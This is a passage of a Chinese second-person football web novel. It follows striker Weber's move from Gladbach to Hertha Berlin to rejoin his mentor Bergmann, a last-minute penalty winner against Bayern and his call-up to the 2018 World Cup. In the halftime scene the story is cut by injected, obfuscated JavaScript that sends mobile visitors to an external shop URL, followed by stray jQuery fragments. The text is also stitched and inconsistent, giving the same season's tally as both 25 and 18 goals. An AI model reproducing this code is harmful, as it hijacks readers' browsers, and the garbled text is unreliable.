2017年，柏林
2016-17赛季是你的转折点。
法夫尔在赛季中途下课（门兴开局战绩不佳），新帅迪特·黑金上任。
黑金比法夫尔更信任你，他把你固定为首发中锋，并围绕你设计了一套简单的战术——两翼传中，你在禁区里抢点。
你的身体优势在德甲已经完全够用，你像一把移动的攻城锤，把对方后卫撞得东倒西歪。
赛季结束，你打进了25个德甲进球，排名射手榜第三，仅次于莱万、奥巴梅扬。
但你心里有一个缺口。伯格曼在柏林赫塔的第二个赛季也站稳了——他第一年带队拿到第十名，第二年（2016-17）排名第六，杀进了欧联杯。
赫塔管理层对他很满意，给了他一份三年的续约合同。伯格曼签了。
签完之后，他给你发了一条短信：“我稳了，你呢？”
你回复：“我也稳了。但我不想要稳。”
伯格曼没有回复。你知道他懂你的意思——你想走，你想去他那里。
但你怎么跟门兴开口？你刚从替补变成主力，你进了18个球，球迷在普鲁士公园为你唱“铁锤之歌”，黑金在发布会上说“韦伯是我们的未来”。
你要走，就是背叛。
整个夏天你都在犹豫。你回了波鸿，把自己关在房间里打游戏，打到眼睛酸胀。
你哥看不下去了，把你拖到花园里，塞给你一把锄头：“除草，别想那些有的没的。”
你除草除到一半，突然扔下锄头，说：“我要去柏林。”
你哥看了你一眼：“那你就去。门兴不让你走，你就闹。”
“我不闹。”
“那你怎么走？”
你拿起手机，拨通了伯格曼的电话。
“教练，你跟赫塔说，让他们报价。”
“报多少？”
“门兴买我的时候花了多少？150万？你报800万。”
“800万买一个德甲25球的中锋？太便宜了。”
“那就报1000万。我不管，你报，我就走。”
伯格曼沉默了很久，然后说：“好。”
——
2017年8月，门兴格拉德巴赫
赫塔的报价来了——1200万欧元。门兴拒绝了，说韦伯是非卖品。
你又坐不住了，直接去找黑金，坐在他对面，把话说得很直白：“教练，我想走。不是为了钱，是为了一个教练。他把我从泥坑里拉出来的，他现在在赫塔，我想去他那里。”
黑金看着你，眼镜片后面的眼神很复杂。
他知道你说的是谁——伯格曼，那个带你在小篮球场上传球的秃头教练。
黑金叹了口气：“你确定？赫塔不比门兴强。”
“我确定。”
“哪怕球迷骂你？”
“骂就骂。”
黑金靠在椅背上，想了很久，最后说：“我不拦你。但你走之前，再为我们进一个球。”
你在门兴的最后一场比赛，是德国杯第一轮对阵地区联赛球队。
你首发出场，第23分钟接传中头球破门，第57分钟点球命中，第78分钟被换下。
你下场时，门兴球迷起立鼓掌，很多人举着横幅——“马蒂亚斯，铁锤不会生锈”“柏林不是你的家，普鲁士才是”。你鼻子发酸，但没有哭。
你走向更衣室，在通道里停下了脚步，回头看了一眼球场。草皮绿得发亮，灯光很亮，你看了足足十秒钟，然后转身走了进去。
转会费1550万欧元。你成为柏林赫塔队史最贵的引援之一。
伯格曼在新闻发布会上说：“韦伯不是一个完美的球员，但他是我想要的球员。”
记者问他为什么这么执着，他说：“因为他永远不会背叛信任他的人。”记者追问：“可是他现在就背叛了门兴。”
伯格曼笑了：“他没有背叛门兴，他是在成全他自己。”
——
2017年9月，柏林
柏林比门兴大得多，也冷得多。
你租了一套公寓，离训练基地十五分钟车程，楼下有一家土耳其烤肉店和一个卖水果的小摊。你每天的生活极其单调：训练、吃饭、睡觉、偶尔给母亲打电话。你不逛街，不泡吧，不去博物馆岛。
你的队友们觉得你无趣，但这次你学会了一件事——主动。
你在更衣室里带了一盒母亲做的饼干，分给每个人，说：“我妈做的，尝尝。”老将伊比舍维奇咬了一口，眉毛一挑：“你妈还会做别的吗？”
你说：“还会骂人。”全队哄笑。
你开始有了朋友。不是那种推心置腹的朋友，而是训练后一起吃个饭、周末一起打个游戏的那种。
你还不敢跟他们聊太多，但你学会了坐在一起，聊一些有的没的。
伯格曼看到你在训练场上跟队友开玩笑，悄悄走到你身边，低声说：“你变了。”
你也悄悄的问：“变好了还是变坏了？”伯格曼想了想：“变正常了。”
你们两人对视一眼，大笑了起来。
——
2017年12月，柏林奥林匹克球场
冬歇期前最后一场比赛，柏林赫塔主场对阵拜仁慕尼黑。
柏林赫塔排名第五，拜仁榜首。没有人看好你们。
上半场你被胡梅尔斯和博阿滕夹得喘不过气，只有一次射门，还被诺伊尔轻松没收。
中场休息时，伯格曼在更衣室里没讲战术，只说了两句话：“韦伯，你怕他们吗？”
你摇头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731769|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“那你就去撞他们，撞到他们烦为止。”
下半场你改变了策略，不再跟胡梅尔斯拼位置，而是在他身边来回拉扯、无球跑动、每一次争顶都全力以赴，哪怕明知顶不到。第六十七分钟，你的一次无球跑动带走了博阿滕，达里达直塞，卡卢单刀破门。
1比0。
第八十一分钟，莱万多夫斯基头球扳平。
比赛进入补时，第四官员举起加时四分钟的牌子。第九十二分钟，你禁区内背身拿球，胡梅尔斯从身后撞了你一下——你倒地了。裁判犹豫了两秒，指向了点球点。
整个奥林匹克球场炸了锅。你把球放在点球点上，深吸一口气。
诺伊尔站在门线上，他的眼神像刀子。你助跑，停顿了零点几秒——诺伊尔重心微微左移——你推射右下角。球贴着立柱滚进门。诺伊尔扑反了方向。
2比1。绝杀。
你冲向角旗区，双膝跪地滑行，身后是整座球场的轰鸣。
队友们把你压在地上，你喘不过气，但你在笑。
赛后伯格曼在发布会上被问到“韦伯的点球为什么这么稳”，他说：“因为他脑子里没有杂念。有些人一辈子都在想‘如果罚丢了怎么办’，他不想。他只想‘我要把球踢进去’。”
记者问：“这是天赋吗？”伯格曼说：“是缺陷。他的脑子装不下那么多东西。”
——
2018年3月，柏林
勒夫终于给你打电话了。不是U21，是成年国家队。
2018年世界杯前的最后一场热身赛，德国对巴西。你坐在替补席上，看着克罗斯、穆勒、罗伊斯在场上奔跑，心跳得比任何一场比赛都快。
第八十分钟，你替补登场，换下维尔纳。
你第一次穿上白色球衣，站在马拉卡纳的草皮上——四年前德国在这里赢得了世界杯。你触球五次，一次射门被阿利松扑出，一次头球偏出。没有进球，没有助攻，但你踢了十几分钟，没有犯错。
赛后克罗斯在更衣室里跟你握了手：“欢迎。”你说：“谢谢。”穆勒走过来，搂着你的肩膀：“你那个头球，为什么不用力点？”你说：“我怕顶飞。”穆勒大笑：“顶飞就顶飞，下次用力。”你也笑了。
勒夫在最后时刻把你放进了世界杯23人大名单。你不是主力，是替补，是“身体强壮、可以做最后冲击选项”的那类球员。
你不在乎。你打电话给伯格曼，他正在波鸿老家休假。
你在电话里喊：“教练，我进世界杯了！”
伯格曼的声音很平静：“进世界杯不算什么，进决赛才算。”你愣了一下，然后说：“那你来俄罗斯看我。”伯格曼说：“不去，我要种西红柿。”
你没听懂他在说什么。但他笑了，你也笑了。